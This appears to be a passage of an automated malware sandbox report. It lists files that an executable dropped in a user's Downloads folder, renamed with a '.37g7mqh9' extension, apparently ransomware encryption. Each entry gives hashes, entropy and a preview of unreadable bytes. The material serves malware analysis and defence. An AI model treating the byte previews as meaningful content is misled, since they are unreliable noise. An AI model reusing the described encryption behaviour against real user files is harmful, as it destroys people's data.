                                                                                Preview: ....nP.31.s..0..5!m..5.W..%j.I.x.Q.lxd.R....n.w.E..,s.....!s...,...f..e.z....li...W(...~.?.l.U..7_Gp..+B#..%.....D..D...qDoF.{.H...x.6?......2..h.u....k..rH........ue.d.....*..;..e.?...V...U9.S..f0.....~...(.....xm..,j8p.E..V.p...I.g.....~l.__.wc..-...$...z`..1...*....q]j.]Y.=.E.s....4..&.A......ck.!..w..G.0Z....1..B.j...|.>+.=..&....g..u.....p.,sK.U}{ .......-..0.Lj.N..$S.3..!.a.....!n4..7.-...;3y...<..o....t4..m.e.D.z9.{..."v,R......7V.4t.p...4.w....u.3[@.a}v.RB..Z.m..WL).....z.t.....&...g1xD4.Nn...I.....Z....J/....G....'.d.i&....-....)._E......vsvq..?..L...$EhE(..".....~/$[.....jS....3.H.r@>.U...=Fl...$....A....[e.!.oHK.\..M.....3.X......g$.S .asH.0Ve$.;.o.Lf5-.|Tez.#_.'_n.I.p.".K. ..|....B...;C.Ow.....5..g>.!.wq...Y.....P....@U.K...m.N...4.j.A...-..U.D_..?.....T..E.!...@.\..l.y...BJ4......o..Lx0..o.:..U....s.:.][.+..+e!!X.......p....<..s....c8.n$W.k.U......<6..K .....^C....Y\...y.v..RU..V`...u.|..{n]N8.V..!s..C....M...\....
                                                                                c:\users\user\downloads\GRXZDKKVDB.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840519416049106
                                                                                Encrypted:false
                                                                                SSDEEP:24:P+Ol3D1yXK8hxk5ljAXJoL6xMD/H/4aafEk9pB97zhWY7rTfu/AmYO:P+OlAjh8lACuxMLxzkXB97VTTfu/Ac
                                                                                MD5:62E02B1B911193ED2E88370D42755A93
                                                                                SHA1:81F01B22C42FB4CBDE9F4ADA8285594048AEEA12
                                                                                SHA-256:B2AABD3FA6741E44A1D4661F06BFF582C68D0B8F0618D9AACBF028220B8FA4B7
                                                                                SHA-512:DD966C34D9174E84387018EE373589683271F0839FEFC80E55953D14D5698F8C1DA0C42F9F8D8075202FF4D0A8D19C12E668566F361AFBDC27F800183C30C15C
                                                                                Malicious:false
                                                                                Preview: .R..?..*..?...P1..8....S>B.X..(.......z..].Z.........p..h.*..R].l...CU.+..^....q...9M...rv.zw...8q.d.......=.S...R3.j.qF..ud...x?{.O..~..V.... Kf{..a.%.A..#.U..|....HK...".6./....G..X..T.K..h<.'|L.W.|...Y..!..s.RH..H.4~:P...#.P..B...M..}......=..>.s...jX]wS..j....5d...r.p.........%.. C...3..O.t..$..u.|...93.[8.[.W.e.....0..}u..9..J..FY?.{........L.G.fC/.$..r.N...............t.>...'(E0..%......bs.:T^...%.=....,<1.A....<yu8..d.?.}V.)..\~.1..._.O.g..L!Z....|[.3..<...S...;...)5......#&\q..QY..)xU...=7aMJ...".'T5OO...G...`%j..%6...;..I!......A- }.B{.<un.....2..6.....ZDw..]....$.8.l..V!}..F?..8...z.......).1.X....y..._...q..B..k.m{K..N.j].e..e...o|.C.p...C.RK6..B.t...u.#d.| \].....T>..........l7.%.LO.w.m.D...0...).T4.u/....]8..IE.o..e.Q}.R...>*..?K.y....2U.*Q.yN...M...v.$Y.C..l78....I....q..j..xl....%#&....._...`2....G!..\......G6.....`E.Fc.K.i<...tk...I.:=..}......_.wI....2..k`u]..1.F..".....4.....!z...;...I............jS..I_..R..L`.
                                                                                c:\users\user\downloads\GRXZDKKVDB.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854715616195734
                                                                                Encrypted:false
                                                                                SSDEEP:24:459SEKthyUlHO5CwL8BJSnc4NfLg2tP6iO1cGmtpDdNYJKZrTfu/Amv31:jBthyT5CxBJS5Bh1hkN8dNYJwTfu/AmN
                                                                                MD5:49978997DAEE3013F3A50AED946D3DAF
                                                                                SHA1:649E5EBD802C9298C00E5C316E8314FED1413137
                                                                                SHA-256:6774AFE9D53A865BD2FDC022141A1A41EE57B14F12FBECFF9530441CF61BA6A4
                                                                                SHA-512:4C999BDE20F3C149167BBA0AA289CE93E7C0E1A33A4EC185981E73986F7B8435A62B84C4B3703CFE0DFEE600928558F1B58EAD21E839BF0E14F2A67535BC5B1F
                                                                                Malicious:false
                                                                                Preview: S.......#...s.....yZ.+0&....Q.s..\i......;/.......E>.D..M.1U`...z.%.d>..2&`...yd..o.a.C.. .5.-J1..7.]m....i..H@..5.d.!......y16...pR.A...dE...N3'..Cn,Wz.9.`x....j.....v....E.y.n....Wj..0|\....].i..@....;.....L..>8.D....!..."..rW.q{w....l].N8$@.j(.\_.i&k..e.. ..i.Z".a..p....:....>.n..#m..=..Zfb....E..u.....7a.q...`.t..T...Mf....2....qG...*...z...$.gL..<].J...e.Y.F3...u..m..+ m..D..V.U.L..s).1..z)-R...q^"` ...P.K...1.....%.@.\. 4.:U..b.......aP...@.Qo.!.z..8..lv..~Bh.=h.+R.'.g5.|o:.&...S#....'..qA...;|..Y...V..A.U...dP..@Q........(=........Rs.qO.jfE.....z.z>w.#......r.....fQ.7.q.q.A.)b...=....m.W.b.....0.EP .....mz}(..JF97..^P&.@.:...............Dl..@.sB.c..\.......v,......KE/.K.L+......N6..C.r..P....q....-..V...G...bY......z.....iy..HgB%.<F.......^.44u.....;........Iw.....[........)F.5..<.E......?@w.`.....N...=V74B\L..w?.....s{z?(.).V[4}.m..S.`.v.ZN..p..3..N.N4.....m:.`.f[.,....C.R..YK.&>.......3....S.|Q.Y....-..W...\.%*....[.
                                                                                c:\users\user\downloads\NVWZAPQSQL.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854103711622327
                                                                                Encrypted:false
                                                                                SSDEEP:24:STu+O7Kc1oUPWbCxGd7iYkLDeksi8Q1SBP0jLpOyQDSzfSYrTfu/AnZJm:7+6Kc1oUQ7iYkzsbQABP0jKDOTfu/AnK
                                                                                MD5:C79455D6B3CED426319E2816D7FAC461
                                                                                SHA1:DE1B8579A3705174F25A54FDF7B4FB89E03310E2
                                                                                SHA-256:8E1ADDCDEDD8D20C681AE66BA4A6BA92D15644B18816A92C18CA840D67A1409F
                                                                                SHA-512:8624EF97C2199486202A6208208DE49AF9A8A24AFE2D0158A3AFF1DAA1A85D1DA9B05850F2BC5C038667FB685F8D062CF83E62ECA312A3C2D2522D9A97BC8DAB
                                                                                Malicious:false
                                                                                Preview: .w...eVO_{..).Z..ux..\W.sR....3.6.......*_sxx:.r.#q.R...M"....c.<.........G\.....k.......^.Gr.'JMPQ/$.M...rVoi....3........4.M....:..C../.&.U.8.Z..[..+.G.6....P.~.....v9....{...z..7.l......|T=8.}=1Y.Lr..A................z.l.....@.^....(.J...y....Z.[.,2.FD..K..O.NE...q.h..q.U...$....8=..<H..*.v....$s...^.(*<.J..$...Pgt7.}2...C;..PnS.W.*..W...q.K.>...c.+F.N..UUwM>..,.......}i.. -..\SB...<8.......B..*..4.a....Tqf.#.d...7.=....>.:.e...E....-.}.!d"..EO..........I ..(...vW)......)...?.u..re..$.n......c..<...J...-.r.-.....i..f....g......Z.q...en...w..)..LN...d1.....P.}>c.J..X.E...q......G./>..K77.H.~6z..u._y.3...P2~g].*6..[fR...\.<..q!.._8.!.g....yg.(W.<..n...=....2[s..Kk..d....g...-=..fxj|..L..g.K..0.....Gx...=.......d..{q7D{o4?ds&..%g..;"..&.u.....9..d...6b...#..N)....%..=:1....n./6.GY...G.Cu.>.%2,...l;...a......A!....e.....l.OL.`.M..+o..G...9~..$...jdx.." RIQ.5...R../...j_...g....z.W.....W.S....S.. .C.Q.......S.N...w.&.. O.8..s..../....6..r...
                                                                                c:\users\user\downloads\NVWZAPQSQL.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.859228684174323
                                                                                Encrypted:false
                                                                                SSDEEP:24:wd4ncgXq8djeMJ6Rm64Ly8CqDa29/kKtep42TdrTfu/AKKwuclz:wd4n/1CzRmjyAoxTfu/AKvd
                                                                                MD5:6E0DA9F65980B19D6D0F7171CA86848E
                                                                                SHA1:EEA96B710393C74F43BF78873D80330111CD40AD
                                                                                SHA-256:4FBEBEEDCB948B67EB2A53235D4D21EE10354F5F686EA75F24EF1E30A6EE0501
                                                                                SHA-512:D41647974B968F776BE91973A6344DF2E4395BF6528638BF24E63CE10EBFF43910BE1DA2153B7A883F4F9BC3C63DDE32B00E5E499F7C3EF9AC5A2CB9DDEB22E0
                                                                                Malicious:false
                                                                                Preview: l.#32..6.{k....8..@....{.....X/.-..s.`;^..0.Z5.:.NP.,...2...A.......>.g]7!;...A..%..@k......P7.b...p......[_.w...U.....A.3N-./z.=....{.-..9W...V.o.>..z.0(...........{........l.nq.F.*.[F.i.b.=.s.+....h. .w.~q&Gy.8.;.^..:..&.U..Mh).7...rn.J.........."..r...4X.h7...{..I......f.. .M.+A.yA.J..3.Z......M.xc.l~..#...$.P.l|..................$.T.[[.M. ...O...G.".6|b'Dq.....QG^..{?g..>...h/.W.^..r...za..=]....$...9....l!......+m j.Cy..4.b.c.{.X.e.:....' .......{....xO..g..Om...ky...%R....K..B.`.O.}..,:.:.l......2.2...(..R.ov.z.UV..8...`.'.7O1qL....:..F...~Z..4...<..BzE..........I9.17.]i=.&...H....\j..4.....t...@..Y..-r.MU...).,.05.Q..y.K4E...~..F>.?~.<.......Jf.=d..[V..t...CX.'.w1....p.P....!*J..1.(1~...s....o:...=..w{,....KT.nD.....%......D.(............L.. m..f-;....J.W.#n.^....&>......c..H...D.).A..X..W#.jA..85hU".N{M}.<..2.i!.yq.}.*...XZ...yj.........3.dK..SM].L....v..a..g.xX.....Jc..)p....|.../?..<...#.s.|.3.tl.|...8.'..c5...gOw.)l.L./...&Q...
                                                                                c:\users\user\downloads\NVWZAPQSQL.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.871820749518679
                                                                                Encrypted:false
                                                                                SSDEEP:24:IWOBBghvTDC2E88NBm/rNnbJPhCtlms/wHlaTYKDbrTfu/AS25j8C:IPDxi/F1JCtAYLTfu/A/5j8C
                                                                                MD5:1F448751E50AD79F6CC1E6C7D9F06A71
                                                                                SHA1:5D942B5A8C08C03101DFFED0E0A2678F7136495C
                                                                                SHA-256:CBBA568CB666A03B7AF3578840D0987BB72C9E784B0E07A31967534CC1228AD1
                                                                                SHA-512:B6B72B9BC4A2945ADD8B01E71A6185F17A7AA4BDD71A8DFC6BD440C86B292AF173FE0EF5D1112F492CF5D8AF62A776382D2D9E41B17E318D7EADD84AF89BD1E3
                                                                                Malicious:false
                                                                                Preview: .. ..e...b..b.9d.....5f...........'..X".?.asE...v.r..)~..2.-..R.R....^.g.N..u.;.....IP...y1/......_.SZ.[.R&M...iW1....H.......{E..Vb?y[..b.K..3..Cv....l`En.... ....':0x.@*.....TQ.....k,.g...U..6 g.|.......v...m.r..e...z...g.S.Tug?vzq..aau74...X.j.b.A|Lr.....w.\wZ-.......+..W7......Z.z.M.....`A....k%..D.......u....V...=.*...r1...2.@.....}!..E...#.l|B...`.P....-`Pd~...X..6.5.sp..j..xe...D.....v.+.d....X,g.{.X....V.k...T.T......2b...e....l.6T\'..........tr..........2....'...CB.U.....H.d:3..t.j._(...}.Y..t.0.R}.~`.m..}$..+*$..l.O.....'..g9c.$........(.#r......?.G...V....@..4LT3.....G..Mq...e.O...M...(N.....C+..q...M....7q]..@..Xe.Y.....0...."h...<<C.8.aSm.5..)..P...1.....u.@.].E.(G8.&.}n..p=.8......U"...<.G..\f.B[r.V..........c>.G.{am%\W#...F.8...@rO.X[z.8...|....u\..t~).U........?....e.}F:..:].o..F:...(..PI..8.J..P{.s...Dm.:..b.,M..H3....R.e...q....k.;J.f..Dj..@.3...T.v.n..-yU.....0..(.5.5ZI.Akl.....t..Q4.FzC.>qF...[.....\.b..
                                                                                c:\users\user\downloads\PALRGUCVEH.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.875914324640434
                                                                                Encrypted:false
                                                                                SSDEEP:24:tWqEHuQxH+Q7P0IvBQzTIpK+lOCByqAsmil3Bpej0I7rTfu/AU:9E9xeQ7XvBQz8ZtyqfmA3KJTfu/AU
                                                                                MD5:38A4EEDE03D47DF2ED96622EB98AFE93
                                                                                SHA1:BD40DDD2625CCB39F9C2B87F9B2DCCDC558CCBFA
                                                                                SHA-256:C48E3B6E1CF54503CE9CE1BE681484CFB99D1EC11D1E46ECCC189AFC56812061
                                                                                SHA-512:C8E51604AA72A7EB1B2D08A2500463B4DCAAD749EF78B1EF760EB493EB2DDC950F67449179D5463822FEFDB0C3D04DD43050EEB416E627C189601343E0987500
                                                                                Malicious:false
                                                                                Preview: ....]...?e.1r...a0..f...I...@...#.\.......G.4.j.....-.j..lg8'2......p3f..4....g.../l.0......l;P.........L......D..g.x.p..W.;=.O.....h..K.-.....}........m1..S..z..<.|...7...\.qM...^..]...&..z..E4f..nL,.?..W.........Q..$)>..Di.)..-.n..M09....M..C.&C...NQ5O...........).{...=.....v.....`x.... .../.S+....Fe8.|@.F....V$..../...f9..g..~L3.d.^..Y.Q..;^...?o1.V_sT...X.T.....&...%'.;..a&.o).N]Q.y.....A.!C,...u.-.eJ..3..G.........|_,.C.,T\...B..+....Hb.}..+..."....\...........{@N..2.Z.}[;........~...m.3V#.k.P.9.....J=...V.@t.i.........BS....G.4..U.,.c..\CS..W....2.0Y.0[mI.B.$....9.,.d}...\".."..i....x..K.w.......n.^..G|. t%Z....0...}.......02y.~.\...q1......*.|.~S..%$....'.l...2...u....L'...W<._. .M.........y.L ..hKQ.j5..:S.. _.H.F..s....ry#.+..k3V@y.b.=R.TI.f..>Ne.v.c. ...2...]..g.;...{}.2..+C ..e.....V.<......W..V.y...qWx/.a[.5.K.g.....KM.K..[D...W+..P.]y..4{.a.7f1........8.....~.p&S2..T.E'E......T.+V[...G].d......{.te....0.'.....pmG.Y.
                                                                                c:\users\user\downloads\PIVFAGEAAV.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844594325804601
                                                                                Encrypted:false
                                                                                SSDEEP:24:w/YWm9vV0tZWzTJkI9j0GFN515gZipaq0pwBKddHY18RjYk8LpsrTfu/Au:Gm15TJkkj0GFN515gZiZWYKd/9NTfu/N
                                                                                MD5:0C1180DBA6D73FE63DDB23F735C9803A
                                                                                SHA1:35A1F622FC6D03177A1AB0790F658A0506DB1A86
                                                                                SHA-256:EE068928A3B0B0E61156A3663E197F2F6B1571C33F425ED0B2DC20DEABF9C4F6
                                                                                SHA-512:828A8C7A37670CFBC5015B875694BC8CFDF34107B50FF0894F25383DF14BDCF23240E00629DA4E2D64A00A00946C74349A89BCAA748ED74FBD0636FA07D2F7C7
                                                                                Malicious:false
                                                                                Preview: 1AC...Z.."..L.c{..]..]..K...g.#.Y.....!W.T....U..mH.Kw.E..R. ....x3X..d.PQw.1.?N.....1b..............[T...u..Z..dJ.1......a5..~.|.....(...6!....08..J..*.......B.\...[..e.....je:.....g.56K.;.7.......ucGd.Y......q1..P.].........0.HU....F....;+.o.+.F........[R.....$.!g.q..FZ..3.....d.......9U.....!.."...$....M..a...k..Z .U............3.......#.&W.1IWv...+ z...?.'.O....4}{.....PTf.%.~..i.!).......L.<..e.....4E....,ts^...3....j&...HR41.(q.C.MCU...u.Rh:N.....b.H.]..\.LQv.).?....S.r.:.|1B.....'......"..'q..V.a.......P....C%.....H...}.Y.N{+p..m.fr...1.no>....A...o.....M6.k......Y......E......w\.xGGT.?........&K...C;...Ks04.kkg/&.=.Ee7...!Y|.......g.M1......6...A~.19..T...C.g%....Q)*..BYv.S).m.1f>...+..P.l.[.b.....=...LQ&Dd2.X...i_.I-M...vV.....J....,....'..853.(.j.X...<.(..7.p..-....E..)..U..........v..DW.#%..~v...R.r......+.D<RN-.....X..bZ..$.v..8.....r..;......X........L..7.y.9rz.Hg<{p...?6@)...[....J.\2..L.]. K.1.g<.i..Z.........i.+.1..~w.
                                                                                c:\users\user\downloads\PIVFAGEAAV.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843507952430759
                                                                                Encrypted:false
                                                                                SSDEEP:24:62Fj6z69r6UeY5fHyDLWmXjhJza4pj9+OvfeGN5iaVOo1UfTC3Io4rTfu/A8n:9Fm692i0DBza4t9zvfe9xo1UbC3wTfuT
                                                                                MD5:9842E5C0B58917CFE8FF1881BC95168C
                                                                                SHA1:0B93AFDCE1ACC9E5866AA6C76704B8B0B2236D6F
                                                                                SHA-256:EFD56A6184210AF7A08CC663C14E002338E129DE9310D97EDAE9260091A63402
                                                                                SHA-512:907B9DD7F7EA48C2D79B84725A51FDC6B014D4CA92E1EBF336BE04FC6397A0D92EA767648987D777FA5813BAEE91D603A9BAB8E1EE1C524091DD334D40DC016B
                                                                                Malicious:false
                                                                                Preview: 1.&.?.j:..H..+.,.....@ob.J3Sf@.....).@.b...> 1M..I... .#.69.!.c..h..1.a~y....$3.&...x...?~c}..'..`......u.........Sl.x]..d..a8.y~..N......u...z..U.$.6...?y..i)...8.]......GArL..]....x..\....y...vj....2.e`.o7...a.......6I......b.X.|.i.....f.i\T......=....m.A.[..5J.j}..C.............#/K.%A^.U.g.af..l5.Nd....Y.=.R|1.....s.!..B..'.(..f..L.98....&/+.!Y..83..]y.4.........w..dZ.....F..T...>l./..]:cd.*.f.15..iU&......U.[.{.[.,<....c/O.Q..|.<.-.I..}...y..... ...C..alj...C....f.o.....S.R..........C.D.[`.P.}."..-...ZQp.G"....v..ko=WJ'?l..@`...........Ou.].v3G.6.n.u.@.9.......$.K....Z...5?..k.\.Vo..Q..8.8.F.Q....(.....T:e.7i....~..........l.P.pT.....(..9..A.fy.K...q.I.....a......%`.cYW....O.v6...z....s..h..2.?6F.QyS?....X..k..A.........g.P..u....[.J.wg.).......Q.tn.d....n..k..P.$..H-.r.uN..;.....2WJ.Bc.(.!?|..,......pQ...5I.....k.<..:...V...D.>1y.^n0................~EM.....ke;.D.P....@p..D...K.@3..@. ...v........?\/..K...=....$......R.n.. 2...
                                                                                c:\users\user\downloads\QCOILOQIKC.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843367495870372
                                                                                Encrypted:false
                                                                                SSDEEP:24:B76BuPJ35HNV3kBSs64V+IS94gF5hp6b7gKFfWY/yZC4+2XVh/KAziBrTfu/AP:UBeHH3kBSqbsbYb7gKpWOyZPXVh/KHpd
                                                                                MD5:96B266B1BF45EC1F86E18152C2716294
                                                                                SHA1:669FCA237423C40E4FDBC2402F8B8E10720B6A01
                                                                                SHA-256:2433C71EA782C4BA992AAE026E98C2E7EA345F49BB038E19F6B21708C384985B
                                                                                SHA-512:F379FB68CEAE90EDCE484C2FFDFEEB53F7D6ECC3CE7F9016362F19661EADFB6081A0A963430931AE0AC27785051EA95EC77908C30AA6A605F39B63A8500F566D
                                                                                Malicious:false
                                                                                Preview: ..B.;....;.a"....sRbU.v...S[.N..XQ.....e...l..K7...).....%D.s.....#........_.....j.e...M..E.....tGq..8......(...;A4...ay*h.-.P.Zb3:K...d@za..Q..R\3.....].(........s..A.C..g.P6d..fF\..M.t...x\s..Y.P..........!?.e.n.C.vh.:.*a.J0{SP....P..)..0.[3..u..............2}@..GXmdq@.\Bj..O...|...........Tc..0...)q.`.h...T),...QDH..>h.U..L...*.I.n../......i...S...=.ANv.<...a....v..ZT......;I...t.@.eWC5$Z.....G.p..^}....|..&...EX...sW..(...g..~C.T....&._...@......."..=.e(e.u.._%3...H.v.T...dP...k.a.._.n0........i...a...3....n........9.."qu56(m4....t&=.w/.^...4]t`z,FE..|.....6.u..^....<...m(]....M.<.#.2.?~..Y.-..Pb4.g..'....X.....6..8...L. ..(R....`.....e*.z.x/....O... .c..)."|.9...H....C..p}.Dy.=....['>j...E.....x%,U...n.....b...;.%2...f.l2.........rh:Mgt...)....*.hR}.v.4Y.... .0....a..O......~..'.....6!G.j_#..G...3i...N~S.#jy.....f).f........E.(9...............ws[..../.ut.h.X.....}%\....R..C.........d......q..@...k.b k..w.....M.8b.i.....fW[#;.Sp.^
                                                                                c:\users\user\downloads\SQSJKEBWDT.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PGP\011Secret Sub-key -
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844985474885309
                                                                                Encrypted:false
                                                                                SSDEEP:24:XbUf+DIFhfiCpuPqgPn98z2DgdEr2TAVYeRsQrTfu/AZ4Cv:Xk+CtePTP902DagBdKSTfu/AeG
                                                                                MD5:ADCC10134BD6C8D2F309B17435AD1397
                                                                                SHA1:2D315C33F1EFFE374A51D5CCDC3552777EFE9C07
                                                                                SHA-256:23AC48FA19E26C01CAF5DB6A10FD98537C0758D3BDE9438FE9E9125EAA9E6DF4
                                                                                SHA-512:BDCCF2E60822A5950696CE3C0EE6296C0EC024DB9EE01942378B19C2A0AF9CA0AEF37071C7A41021B2CA3734911B6F07ED80BCEF180A99CEFB1B7C2A3667E2AB
                                                                                Malicious:false
                                                                                Preview: .."Db...3$.j v.b.q...U..j...b..R....?.Z..._...n.QK..DX....+2.NN..B..._..0.r]u..........cO..P\m..A..:.R.P....R....Z.9 ...}...g..iw.j^..8.0..E.....s._..m... ..t....l..|I$U..zs^N...DV...2...(.7...f...P.J.....{Oa-5,@..v||....b`bGA..?.q.1...g.2..c.........T9A......'...VG....b..U...p..*.z.C..#....I.w4.|)...8...^a.+=..!Y.S...~.....mL.XXd.....O#.2....6..:w.1..S,..L......?....)...v.;.a....UD0g..<.....>c.}..8../.5.}.Q...3*..k...D..z&...'w7!.....F..)X)...}..+[......E....X{.7z=..._a6.uw..m.C.e..}..17...L....Y...B..;..pd1+.......U......."26P#...Z.I|..8..`.v.,m>.t.`.E.K.A..>6jS+.9#..........S.x...R.....f......Oa.S 7...]-3...5.,J@.nWJ...O....a........+bL......:a_m.fz.....L`.,XH.Br........#Z..N..F...../g.3.}.n..v.U.sB......c..b...."...=_.....".9.d-.4.-.]A..X..j%..B.._..'.GSB. >.{...m,O.....<.-...z.|..~...L%....1....0.=]G..cY..5u..E.J4....J....F9....t..RDi....h*)f.fq.y../..B.aR..H.-...l...".o.FUu......G.........n;O.$%......9.vO.....D...B..e.....+
                                                                                c:\users\user\downloads\SQSJKEBWDT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828099226430347
                                                                                Encrypted:false
                                                                                SSDEEP:24:2ydONblXk9OxyoVs4EnpHFSur3gmQbf/Nn0bSzlZ9ErTfu/AQ+J:2yATXoJGqpHFSk3gmQbfV0mzbwTfu/Ad
                                                                                MD5:561472835CD78FB18C6AB8486F73E766
                                                                                SHA1:C4C9FB56449CC8305BFF18F074ADFC8461D99ECA
                                                                                SHA-256:B40CD6C548CD2AB63557EFAD22293E53C004B32ACF2D9E2A0BBA4F8DAD70EAC4
                                                                                SHA-512:3B13FD404999D70CB3F01AF1BBFBE7C652EFAEC8B1BD6A7CD5E4FD65E0310F746C930C26C3C89936C4365210E3C531C511AF2E48F76E0A11955028D9F482D1D3
                                                                                Malicious:false
                                                                                Preview: o....A.R..`.z...}_.T.3....rF.0.<...R.......x.y...y.g.?.._.D.F.V.....?....:.J..q.X-.....<. ....J.... O+T.=X.a.@.b;9..H../t....X.>.;.u.v....W./..4.?,.s ...,.....>1'...Fb:....tYK..y.Z.d.T.m..8.?"...4M.1~....<F....j.5. s......>.......".'...@.$d....N......q...U....Rk..2.1."...u.].....u..'"..............l+.i....M.......Vg.+..F.\.....{rj:.j.|X..3..m...st.{'8..Vus.`......`."..6........#..{.'.`[.#!$..9.........e#.b..<..}'..0..............f3..a.j...W.|..........4...QC....j.N........Z...k"...I.......-....V[.|wY+'Z....-0.Y?<>Y...$.5..?l.......E)..Q...:.H....=5..nXd.........Q7.:.4.7@0..nv.^..k..KJ.o.%...X.. 8.R=3;?.{#..7...g..GJB.7...N.Li...Wq..........3...j.O.j...X.q..D<.&Q.4...).~&...t[.t....t}..j/T..e......A...Xu..,...v.R~....3.k..y.O>Sp.*f.m...W.........m.a..@^5.|..l......\.`|.yS'j....4.h.../8^...&O..vr^.5.1..0b.^.Z..jMRrc......7.C.H^{u1.GA.t$.'r...c.#.a:..w.a.$2`.......1.}...6%...6..V.[}X7-.j.1..@.I..p>C...@...9.........<...:..
                                                                                c:\users\user\downloads\SQSJKEBWDT.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854757088768596
                                                                                Encrypted:false
                                                                                SSDEEP:24:yqtWJfZnVAxGBJfr3Locm1RTeJHJnoETMiEerTfu/Aok:yUgfZn2qxzLkTcH937Tfu/Aok
                                                                                MD5:97BE49E4CDBEC53A35EC22546427BC13
                                                                                SHA1:77E7AA4BCA0A5AC04DAD04460FF7D95E98B67595
                                                                                SHA-256:68CCFB1186D71D4C06019847CEA9AF2A5F812499D0068AB261AE91C69D120032
                                                                                SHA-512:29AE94562220C819B6468FB07802FFA45E971F04D8A58EADF82F94BCF73EFE828B4A15EE8CF198146858902D4BBBF54709A6F79D1717F4F1470114374E30EFF5
                                                                                Malicious:false
                                                                                Preview: R.G.M....j..Xl..$..Cz?.....40_.Q....G.%.W..A..Z..._..c...@f..~..w.*.c...0=i.B...M_s...r?:.I.g...6..].w./....W.../..*T.....rq|o..*7.5...._l.w.u>...d...j../..c.....I.X.hnPb..(.:.1.m.!..7.H......xC.p.......k.F....{...`[.L.......'./{.Z...".x.w!.6.>..@.K....s....SN...R...+e[..*.a....~....=M?...B.V...a.6.7x.&1... ..\.Dpn........Y...'?.t..[.2....)..~.yH.....:..U.1....4......N.wH.1e.@.z.D..T.P.c1......s.W..&qc..X.><a.......j....M...4t.G.k.}Jc.........L0)..K.-..u9.e..tC..B+.+.?f:!..Z'.&...&z.@0.....c@{...Vb...#4.......J5.."(..l....y{../...T..\..).S4...Y.....^..;..k...w..K4A..1.*.L.r..7..~...a.|....bE.7.....].*,...9..CL...&s..!....r[.%GbU.....(.@..[C.}....h.:.D|...._JD....A)q....d..%.....J'.2L2.m..:..sI@^~...)L.R .6..S=2=5ml..g..OAMmq=dEgO.B.....K.*.):....x...j.:t^..O......G.O...Y...-(B..k9.....)..........a....H.d......r$|.%i.{q..D.z{v....h..).......!..]..'@.6.....n.$.&.#.*.y.t.k...+../k*-6.8FP..Vc.8...Wn..&].m..Z.s...C...r..........&.2.l.
                                                                                c:\users\user\downloads\SUAVTZKNFL.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.872974419580684
                                                                                Encrypted:false
                                                                                SSDEEP:24:0T4okLBjBu0NydC4NOXCdSzSwVfXB5RQHnabDbi2rTfu/AjK6:0QbuBI5y8zSEfG67zTfu/A/
                                                                                MD5:544BA89FE099D448FD0BDF6378DF3838
                                                                                SHA1:68865F219E86FE35AF3F1D438144E265F0033445
                                                                                SHA-256:45995DE09C445D0430F3691B4F15039F31A62B79DDE0C23444E0203937F08DBE
                                                                                SHA-512:3B95D760536AB242208CE650C715D6E24223AFD14A19A6209AB4F9FDE2AFF60A691577ADAACDCD55D6131458A75F5ECB8C5BE9242A8B67C71FC788491A8B609F
                                                                                Malicious:false
